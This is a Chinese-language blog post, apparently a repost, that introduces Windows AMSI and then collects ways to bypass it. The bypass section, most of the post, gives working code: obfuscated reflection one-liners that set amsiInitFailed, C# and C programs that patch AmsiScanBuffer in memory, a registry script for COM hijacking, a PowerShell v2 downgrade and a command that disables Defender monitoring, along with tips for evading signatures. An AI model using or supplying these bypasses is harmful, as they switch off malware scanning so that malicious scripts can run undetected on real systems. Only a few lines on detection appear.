初探 Windows AMSI (反恶意软件扫描接口) - IFONLY

admin 2021年12月31日15:02:02评论184 views字数 8791阅读29分18秒阅读模式

初探 Windows AMSI (反恶意软件扫描接口)

什么是AMSI

https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal

Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。

在Windows Server 2016和Win10上默认安装并启用。

AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。

AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。例如,可以将恶意负载的不同片段关联起来做出更明智的决定,而仅通过孤立地查看这些片段就很难做出决定。

从 Windows 10 版本 1903 开始,如果您的 AMSI 提供程序 DLL 未经过验证码签名,则可能无法加载它(取决于主机的配置方式)。

AMSI全称(Antimalware Scan Interface),反恶意软件扫描接口,他的本体是一个DLL文件,存在于c:\windows\system32\amsi.dll。它提供了通用的标准接口(COM接口、Win32 API)。这些接口中Win32 API是为正常应用程序提供的,方便正常程序调用这些API针对用户输入做扫描。其中的COM接口,是为杀软供应商提供的,方便杀软厂商接入自身针对恶意软件的识别能力。

与AMSI 集成的Windows 组件

AMSI 功能已集成到 Windows 10 的这些组件中。

  • 用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)
  • PowerShell(脚本、交互使用和动态代码评估)
  • Windows 脚本宿主(wscript.exe 和 cscript.exe)
  • JavaScript 和 VBScript
  • Office VBA 宏(VBE7.dll)
  • .NET Assembly(clr.dd)
  • WMI

AMSI 检测内容

  • 文件
  • 内存
  • 数据流
    ## AMSI 检测目的

  • 对抗基于脚本的攻击检测

  • 对抗无文件攻击检测

可检测的攻击

  • Powershell.exe执行的脚本
  • 不使用powershell.exe的情况下运行脚本
  • 使用单独的runspace(p0wnedshell,psattack)
  • System.Automation.Dll(nps,Powerpick)
  • 从WMI命名空间、注册表键和事件记录日志中加载脚本
  • 应用白名单绕过方式-InstallUtil,,regsrv32和rundll32。
    ## AMSI 工作原理
    AMSI不是独立运行的,而是一种可交互接口。
    ### AMSI与Windows Defender的关系

  • 创建PowerShell进程时,AMSI.DLL将从磁盘加载到其内存地址空间。

  • 在AMSI.DLL中,有一个名为AmsiScanBuffer()的函数,是用来扫描脚本内容的函数。
  • 在PowerShell中执行命令时,任何内容都将首先发送到AmsiScanBuffer(),然后再执行。
  • 随后,AmsiScanBuffer()将Windows Defender检查,以确定是否创建了任何签名。
  • 如果该内容被认为是恶意的,它将被阻止运行。

初探 Windows AMSI (反恶意软件扫描接口) -  IFONLY
Windows Defender ATP主要使用机器学习,通过模型发现威胁。

AMSI是与Windows Defender相对独立的模块,Windows Defender是默认的 AMSI Provider。

整体框架

AMSI 主要执行流程

  1. 应用开发者使用AMSI API检测

初探 Windows AMSI (反恶意软件扫描接口) -  IFONLY
图中蓝色表示订阅AMSI事件的安全软件,也就是AMSI提供器。在脚本引擎Powershell( System.Management.Automation.dll) 和 Windows Script Host(Jscript.dll)执行内容时,他们会通过amsi.dll的导出函数把内容传给AMSI提供器。

这里曾经出现一个安全漏洞,零字符截断绕过AMSI检测,流程如下:
恶意代码evilcode由于字符串截断没有送入到ASMI Provider中进行安全检查。

  1. 安全产品供应商使用的检测接口

ByPass AMSI 技术汇总

来源:公鸡队之家社群

降级

PowerShell v2版不支持AMSI,作为常用手段,将目标主机中的PowerShell降级至PowerShell v2简单快捷。

从防守的角度看要尽可能避免使用 PowerShell v2,因为它提供了不记录日志的功能,理想情况下应该部署 PowerShell v5.x 或更高版本,因为它提供了更好的日志记录功能。

初探 Windows AMSI (反恶意软件扫描接口) -  IFONLY
初探 Windows AMSI (反恶意软件扫描接口) -  IFONLY
在 powershell 的命令中添加 -version 参数就可以不在 powershell 事件日志中留下任何记录。由于 powershell 在执行命令的时候,只要参数不冲突就可以自动补全参数名称,比如 -version 就可以用 -v来代替。
初探 Windows AMSI (反恶意软件扫描接口) -  IFONLY
这里出现了一个问题,.NET 版本又对不上了,需要3.5版本的。
https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/starting-the-windows-powershell-2.0-engine?view=powershell-7.1
https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-the-windows-powershell-2.0-engine?view=powershell-7.1

.net 是可以静默安装的,但是如果是普通的域内机器,安装要弹出UAC,这一点也需要注意的。

静默安装参数:

/Q /NORESTART /lcid 1033

混淆

通过增强混淆程度来绕过AMSI

  1. 拆分之后拼接(现在可能大部分脚本会失效)
  2. XOR\Base64编码
  3. 进制转换
  4. 利用混淆工具混淆 (https://amsi.fail/)

最早的绕过AMSI的方法是16年一个老外发布的,命令如下

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

初探 Windows AMSI (反恶意软件扫描接口) -  IFONLY
用上面的方法来试试绕过:

$config_a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$config_b = $config_a.GetField('amsiInitFailed','NonPublic,Static')
$config_b.SetValue($null,$true)

然而前两行依然被杀。
初探 Windows AMSI (反恶意软件扫描接口) -  IFONLY
重新调整顺序,成功绕过amsi

$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)

初探 Windows AMSI (反恶意软件扫描接口) -  IFONLY
base64\hex:

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

利用反射将内存中AmsiScanBuffer方法的检测长度置为0

这种方法并没有实际的绕过,而是禁用了AMSI,从powershell3.0开始,我们要完全绕过AMSI并执行任意powershell脚本的话,就需要完全禁用它

这是原作者的代码,把如下代码编译成C#的DLL,使用反射加载技术(已经修改namespace 和 类名)

using System;
using System.Runtime.InteropServices;

namespace Help
{
    public class Test
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }


            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

https://github.com/RythmStick/AMSITrigger
利用上面工具可以定位amsi 查杀了那些内容,出于学习效率,这里直接给出原文的答案:

  • "Bypass-amsi" 特征
  • 部分base64编码的数据

如何解决:

  • 修改C# 源码中的namespace 和 public 类名
  • 加载base64 改为 加载byte数组再到base64再还原
$string = ''
 $a = [System.Convert]::FromBase64String('你的base64编码')
 $a | foreach {$string = $string + $_.ToString()+','}
 $string 

 function Help-Test
{
    if(-not ([System.Management.Automation.PSTypeName]"Help.Test").Type) {
        [Reflection.Assembly]::Load([byte[]]@(这里是上面得到的byte数组)) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Help.Test]::Disable();
}

初探 Windows AMSI (反恶意软件扫描接口) -  IFONLY

最后效果

禁用AMSI

修改注册表

HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的表项值置为0。

关闭Windows Defender使系统自带的AMSI检测无效化。

需要管理员权限

Set-MpPreference -DisableRealtimeMonitoring $true

DLL劫持(卸载amsi.dll)

应用程序导入DLL优先级(Windows XP SP2以后版本):

  • 进程对应的应用程序所在目录;
  • 系统目录(通过 GetSystemDirectory 获取);
  • 16位系统目录;
  • Windows目录(通过 GetWindowsDirectory 获取);
  • 当前目录;
  • PATH环境变量中的各个目录;

利用与应用程序同级的目录的dll会被优先加载的特性。我们在C:\Windows\System32\WindowsPowerShell\v1.0下放置一个伪造AMSI.dll,就可以实现DLL劫持,而不会调用系统的amsi.dll(C:\Windows\System32\asmi.dll, 如下)。

这种方法需要管理员权限(UAC),直接简单随意伪造amsi.dll会使得powershell无法正常加载。需要自己改一个阉割版本的

COM劫持

这种方法在Build#16232中的“深度防御”补丁修复

寻找优先加载并无效的COM表项,在注册表中将Provider的路径指向到无效路径。这样,Powershell中的AMSI功能将无法加载,从而失效。
AMSI的扫描功能似乎是通过自己的COM服务器来实现的,当COM服务器被实例化时会被暴露出来。当AMSI加载时,它实例化其自有的COM组件,并暴露了诸如amsi!AmsiOpenSession,amsi!AmsiScanBuffer,amsi!AmsiScanString和amsi!AmsiCloseSession之类的方法。如果我们强制COM实例化失败,AMSI将无法访问扫描恶意内容所需的方法。

由于COM服务器首先通过HKCU配置单元进行解析,因此普通用户可以劫持InProcServer32密钥并注册不存在的DLL(或者如果你也可以执行恶意的代码)。为了做到这一点,有两个注册表项需要处理:

echo Windows Registry Editor Version 5.00 > bypass.reg
echo [HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}] >> bypass.reg
echo [HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32] >> bypass.reg
echo @=“C:\\”IDontExist.dll" >> bypass.reg
regedit /s bypass.reg

尽管在构建#16232补丁中进行了修复,但仍然可以通过使用旧的,易受攻击的AMSI DLL执行DLL劫持来执行此操作。为了检测这种攻击手法,监视对于在其正常目录之外执行的任何二进制文件(wscript,cscript,PowerShell)(通过命令行日志记录等)是比较理想的方法。由于绕过修复程序需要将二进制文件移动到用户可写位置,所以在非标准位置执行这些命令就可以抓住这一攻击行为。

内存补丁技术

https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi

我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的,而内存补丁是一种较为便捷的技术,我们可以对这个函数进行修补,使其丧失判断能力,这样我们就能自由执行任意powershell脚本,当然前提是脚本文件没有被杀软干掉。
实现方式有很多种,如注入一个内存修补功能的dll、获取amsiscanbuffer函数地址使用winapi进行修补。
这里我们使用获取函数地址对其进行修补,流程如下:

  • 创建一个powershell进程
  • 获取amsiscanbuffer函数地址
  • 修改函数内存空间属性
  • 修补函数执行体

采用新创建的powershell进行修补:

#include <Windows.h>
#include <stdio.h>

int main() {
    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);

    CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);

    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");

    Sleep(500);

    DWORD oldProtect;
    char patch = 0xc3;

    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char),NULL);
    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    FreeLibrary(hAmsi);
    return 0;
}

编译运行即可绕过,但是发现直接在powershell中运行生成的exe还是会被windwos defender 查杀,应该是代码特征太明显了。
初探 Windows AMSI (反恶意软件扫描接口) -  IFONLY

手工操作,等我学一些二进制调试技术吧。

Defense

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:02:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   初探 Windows AMSI (反恶意软件扫描接口) - IFONLYhttps://cn-sec.com/archives/710532.html

发表评论

匿名网友 填写信息